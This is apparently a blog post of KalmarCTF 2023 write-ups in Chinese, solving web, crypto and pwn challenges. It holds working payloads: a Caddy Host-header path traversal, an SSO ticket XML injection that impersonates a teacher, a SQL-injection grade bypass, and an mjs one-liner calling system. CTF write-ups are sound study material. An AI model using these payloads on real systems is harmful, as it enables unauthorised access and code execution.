KalmarCTF 2023 WriteUps

發表於
分類於 CTF

TSJ 打了這場比賽,難度很高所以也只解了幾題比較簡單的而已。

Web

Ez ⛳

這題用 Caddy 2.4.5,然後有以下的 Caddyfile:

{
    admin off
    local_certs  # Let's not spam Let's Encrypt
}

caddy.chal-kalmarc.tf {
    redir https://www.caddy.chal-kalmarc.tf
}

#php.caddy.chal-kalmarc.tf {
#    php_fastcgi localhost:9000
#}

flag.caddy.chal-kalmarc.tf {
    respond 418
}

*.caddy.chal-kalmarc.tf {
    encode zstd gzip
    log {
        output stderr
        level DEBUG
    }

    # block accidental exposure of flags:
    respond /flag.txt 403

    tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
        on_demand
    }

    file_server {
        root /srv/{host}/
    }
}

而 server 在啟動的時候會做這些事:

mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run

所以 flag.txt 已經不在 php.caddy.chal-kalmarc.tf 裡面了,需要想辦法讀到 backups/php.caddy.chal-kalmarc.tf/flag.txt 才行。

可以看到它特別可疑的地方是 root /srv/{host}/,其中 {host} 這個 placeholder 代表的是 HTTP Host header,所以可以在那邊放點東西去做 path traversal。要注意的一點是裡面不能放 .,不然 *.caddy.chal-kalmarc.tf match 不到,所以我是設 Host: backups/php.caddy.chal-kalmarc.tf

接下來它會擋 /flag.txt,不過這部分直接用 //flag.txt 就能繞過了。

curl -k 'https://www.caddy.chal-kalmarc.tf//flag.txt' -H 'Host: backups/php.caddy.chal-kalmarc.tf'
# kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}

2Cool4School

這題是個 sourceless web,完全的通靈題==。

總之有個 http://grade.chal-kalmarc.tf/ 是個評分的網站,然後登入時會使用 SSO 服務 http://sso.chal-kalmarc.tf/ 來達成,目標是想辦法登入進去然後修改自己的 grade 到 A 就能拿到 flag。

SSO 登入的流程是先在 grade 點 login,然後它會 redirect 到 http://sso.chal-kalmarc.tf/login?service=http://grade.chal-kalmarc.tf/login 要你輸入帳密 (如果已經登入的話就不用),不過因為還沒有帳密所以什麼都不能做。

我是直接 dirsearch 掃 SSO 發現它有 /swagger 存在才找到方法過的,不過後來發現其實 SSO 首頁的 html 註解就有提示了…。總之裡面有個 /register api 可以生成一個新的 student 帳號,用它就能登入了。

登入成功時 SSO 會把你 redirect 到 http://grade.chal-kalmarc.tf/login?ticket=TGT-...,然後 grade 的後端會拿 Ticket 對 SSO 的 /validate?ticket=TGT-...&service=http://grade.chal-kalmarc.tf/login 發請求 (我猜的),然後 response 會長這樣:

<?xml version="1.0"?>
  <response>
    <authenticationSuccess>
      <id>SOME UUID</id>
      <username>studentXXXX</username>
    </authenticationSuccess>
  </response>

所以從這邊能拿到 username 和 user id,所以就能成功登入。

登入之後會有畫面要你設 username 和上傳大頭貼,然後成功之後會到 http://grade.chal-kalmarc.tf/grades 顯示你的成績而已,上面還有個 Request Re-evalutation 會 POST /whine,不過回覆永遠都是 Nah, no mistakes were made. Git good.

我一開始都毫無想法,就只有發現上傳大頭貼的時候是先把圖片轉 base64,然後塞到 json 裡面 POST 過去這件事而已,不過後來 Leko 發現 whine 其實會讓 backend 的一個 headless chromium 來瀏覽你的 grades 頁面,這個可以透過設圖片的 src 到自己的 server 來發現。所以如果 src 是 http://sso.chal-kalmarc.tf/login?service=MY_SERVER 的話就能拿到 ticket 了,然後 post /validate 就能拿到 teacher 的 username 和 user id。

接下來是發現說 SSO /validateservice 參數的地方有 xml injection,測一下發現連 XSS 都能達成 (不過用不到):

http://sso.chal-kalmarc.tf/validate?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514&service=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

而 response 會是

<?xml version="1.0"?>
<response>
    <authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></authenticationFailure>
</response>

另外是 Allen 發現說 http://grade.chal-kalmarc.tf/login?ticket=TGT-...ticket 其實也可以 inject 一些東西,因為 backend 似乎是用 string concat 處理這部分的,而 service 又很剛好的在後面,所以可以塞 TGT-...&service=XML_INJECTION_PAYLOAD# 作為 ticket,那麼就能控制 grade 收到的 response,由此可以登入任意帳號。

http://grade.chal-kalmarc.tf/login?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514%3Cdiv%3Ehello%3C/div%3E%3C/authenticationFailure%3E%3CauthenticationSuccess%3E%3Cid%3Edcfb2fd7-312e-48cf-81c0-ae7eb31ef864%3C/id%3E%3Cusername%3Eteacher31211%3C/username%3E%3C/authenticationSuccess%3E%3CauthenticationFailure%3E

response 大概長這樣:

<?xml version="1.0"?>
<response>
    <authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <div>hello</div></authenticationFailure><authenticationSuccess><id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id><username>teacher31211</username></authenticationSuccess><authenticationFailure></authenticationFailure>
</response>

接下來配合前面 img src 那個就能登入進 teacher 帳號了,稍微 reverse 一下 React SPA 可知 http://grade.chal-kalmarc.tf/grades/$STUDENT_ID 有個管理介面可以編輯東西,不過它只允許你編輯評語而已。就算直接 call api 也會發現它不給你編輯成績。

不過我測一測發現送 {"name":"Fundamentals of Cyber Security","values":{}} 的話它會出現 sql error,所以有類似 sql injection 的地方在,因此用 {"`grade`": "A"} 當作 values 就能成功繞過檢查改成績了!

kalmar{w00000w_n0_m0re_sch00l_d9a821a}

題目 source code: 2Cool4School

Crypto

BabyOneTimePad

#!/usr/bin/env python3

import os

PASS_LENGTH_BYTES = 128

def encrypt_otp(cleartext, key = os.urandom(PASS_LENGTH_BYTES)):
    ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
    return ciphertext, key


if __name__ == '__main__':
    print('According to Wikipedia:')
    print('"In cryptography, the one-time pad (OTP) is an encryption technique that cannot be cracked, but requires the use of a single-use pre-shared key that is not smaller than the message being sent."')
    print('So have fun trying to figure out my password!')
    password = os.urandom(PASS_LENGTH_BYTES)

    enc, _ = encrypt_otp(password)
    print(f'Here is my password encrypted with a one-time pad: {enc.hex()}')
    print('Actually, I will give you my password encrypted another time.')
    print('This time you are allowed to permute the password first')
    permutation = input('Permutation: ')
    try:
        permutation = [int(x) for x in permutation.strip().split(',')]
        assert set(permutation) == set(range(PASS_LENGTH_BYTES))
        enc, _ = encrypt_otp(bytes([password[permutation[i]] for i in range(PASS_LENGTH_BYTES)]))
        print(f'Here is the permuted password encrypted with another one-time pad: {enc.hex()}')
    except:
        print('Something went wrong!')
        exit(1)
    password_guess = input('What is my password: ')
    try:
        password_guess = bytes.fromhex(password_guess)
    except:
        print('Something went wrong!')
        exit(1)
    if password_guess == password:
        with open('flag.txt', 'r') as f:
            flag = f.read()
            print(f'The flag is {flag}')
    else:
        print('Nope.')

簡單來說它會生成一個 mm,然後給你 HEX(m)K\operatorname{HEX}(m) \oplus KHEX(P(m))K\operatorname{HEX}(\operatorname{P}(m)) \oplus K 的值,其中 PP 是個可以自己決定的 permutation。

總之我直接 z3 下去就解了。

from pwn import process, remote
import random
from z3 import *


def encrypt_otp_z3(pt_hex, key):
    ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
    return ciphertext, key


def solve(ct1, ct2):
    sol = Solver()
    pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
    for x in pt_hex_sym:
        sol.add(Or([x == t for t in b"0123456789abcdef"]))
    pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
    pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
    pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
    key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
    enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
    for x, y in zip(ct1, enc_sym):
        sol.add(x == y)
    enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key_sym)
    for x, y in zip(ct2, enc2_sym):
        sol.add(x == y)
    assert sol.check() == sat
    m = sol.model()
    pt_hex = [m[x].as_long() for x in pt_hex_sym]
    pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
    return pwd


PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)

PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge_file.py"])
io = remote("3.120.132.103", 13337)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip())  # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip())  # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# kalmar{why_do_default_args_work_like_that_0.0}

EasyOneTimePad

和前一題幾乎一樣,不過這次有兩個 key,所以是 HEX(m)K1\operatorname{HEX}(m) \oplus K_1HEX(P(m))K2\operatorname{HEX}(\operatorname{P}(m)) \oplus K_2 的值,其中 PP 是個可以自己決定的 permutation。

我是隨機生成一個 permutation 並希望它得到的關係式可以得到唯一的解,然後用 z3 就搞定了。

from pwn import process, remote
import random
from z3 import *


def encrypt_otp_z3(pt_hex, key):
    ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
    return ciphertext, key


def solve(ct1, ct2):
    sol = Solver()
    pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
    for x in pt_hex_sym:
        sol.add(Or([x == t for t in b"0123456789abcdef"]))
    pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
    pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
    pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
    key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
    key2_sym = [BitVec(f"key2_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
    enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
    for x, y in zip(ct1, enc_sym):
        sol.add(x == y)
    enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key2_sym)
    for x, y in zip(ct2, enc2_sym):
        sol.add(x == y)
    assert sol.check() == sat
    m = sol.model()
    pt_hex = [m[x].as_long() for x in pt_hex_sym]
    pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
    return pwd


PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)

PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge.py"])
io = remote("3.120.132.103", 13338)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip())  # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip())  # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# retry until you get the flag
# kalmar{guess_i_should_have_read_the_whole_article}

Reconstruction

import random

rng = random.SystemRandom()

num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)

prime = (2**384).next_prime()
F = GF(prime)

class Party:
    def __init__(self, share):
        self.share = share
        self.compromised = False

    def compromise(self):
        self.compromised = True

    def get_share(self):
        if self.compromised:
            return self.share
        else:
            return F(rng.randrange(F.order()))

def share(secret):
    R.<x> = F['x']

    poly = secret * x**threshold
    for i in range(threshold):
        poly += x**i * F(rng.randrange(F.order()))

    return [Party(poly(F(j))) for j in range(num_parties)]

def main():
    with open('flag.txt', 'r') as f:
        flag = f.read().strip()
    assert(len(flag) < prime.nbits()*8)

    # Share the secret.
    secret = F(int.from_bytes(flag.encode(), 'little'))
    parties = share(secret)

    # Oops, the adversary has compromised some of the parties!
    for i in rng.sample(range(num_parties), num_compromised):
        parties[i].compromise()

    # The adversary is requesting the shares! All is lost!
    for s in parties:
        print(s.get_share())

if __name__ == "__main__":
    main()

這題有個 SSS,degree 是 111 所以要 112 個 share 才能恢復,再來它會給你 1000 個 share 但其中只有 370 個值是對的。

這讓我想到了 Polynomial Reconstruction 這個問題,查了一下發現說它其實就是 Reed-Solomon Code 在做的事,所以這個問題其實是個 (n,k,t)=(1000,112,370)(n,k,t)=(1000,112,370) 的 RS 解碼問題,所以可以嘗試用一些 sage 內建相關的演算法來做。這部分可以這樣列出來:

[x for x in dir(codes.decoders) if x.startswith('GRS')]
# ['GRSBerlekampWelchDecoder',
#  'GRSErrorErasureDecoder',
#  'GRSGaoDecoder',
#  'GRSGuruswamiSudanDecoder',
#  'GRSKeyEquationSyndromeDecoder']

不過測試一下發現 GRSBerlekampWelchDecoderGRSGaoDecoder 只能在正常情況下做 decoding,也就是 tn(k+1)2t \geq \frac{n-(k+1)}{2} 才能成,但是這題顯然不符合所以不能用。另外的 GRSErrorErasureDecoderGRSKeyEquationSyndromeDecoder 好像都用不了,所以最後用 GRSGuruswamiSudanDecoder 看看發現說它需要一個 tau 參數,代表 error 的數量,所以設為 10003701000-370 之後給它硬跑大概 10 分鐘之後就成功了…。

from Crypto.Util.number import long_to_bytes

num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)

prime = (2**384).next_prime()
F = GF(prime)

with open("output.txt") as f:
    vals = [int(l.strip()) for l in f]


n, k = 1000, 112
C = codes.GeneralizedReedSolomonCode([F(i) for i in range(n)], k)
D = codes.decoders.GRSGuruswamiSudanDecoder(C, num_parties - num_compromised)
print("Start decode to code")
c = D.decode_to_code(vector(F, vals))
print("Start decode to message")
msg = C.decode_to_message(c[0])
print("Done", msg[-1])
# 4489067692978501633227145646993390603391687375740992390950503291222699941250770320347716168654384649757035

print(long_to_bytes(int(msg[-1]))[::-1])
# kalmar{1_Sh0ulD-H4Ve-53T-A_hIgh3R-tHresHolD}

這題題目作者似乎沒注意到 sage 裡面有內建 guswami-sudan list decoding 演算法,所以預期解是要自己實作出來==。

Pwn

mjs

這題基本上就是 pwn https://github.com/cesanta/mjs,不過因為它裡面有預設一些比較危險的 api 如 ffi, ffi_cb_free, mkstr, s20 所以題目作者上了個從 global 移除那些函數的 patch。

這題我是直接找 github issues 之後發現這個,裡面的關鍵是:

--print;
print(1);

就有機會 crash。

我上 gdb 來測一下之後會發現 SIGSEGV 的 address 和你對 print 所操作的值有關,所以可以算 offset (&mjs_ffi_call-&mjs_print) 然後讓改 print 的值就能呼叫到 ffi,然後拿 shell 結束。

print+=0x6ab0;print("void system(char*)")("id")
// 0x6ab0=&mjs_ffi_call-&mjs_print
// kalmar{mjs_brok3ey_565591da7d942fef817c}

這之所以可行似乎是因為它內建函數也都是 pointer,而它為了方便和 C 操作所以也能有些 pointer arithmetic,而同時又沒有這方面的檢查,所以可以直接改內建函數的 function pointer 做很多事 XD。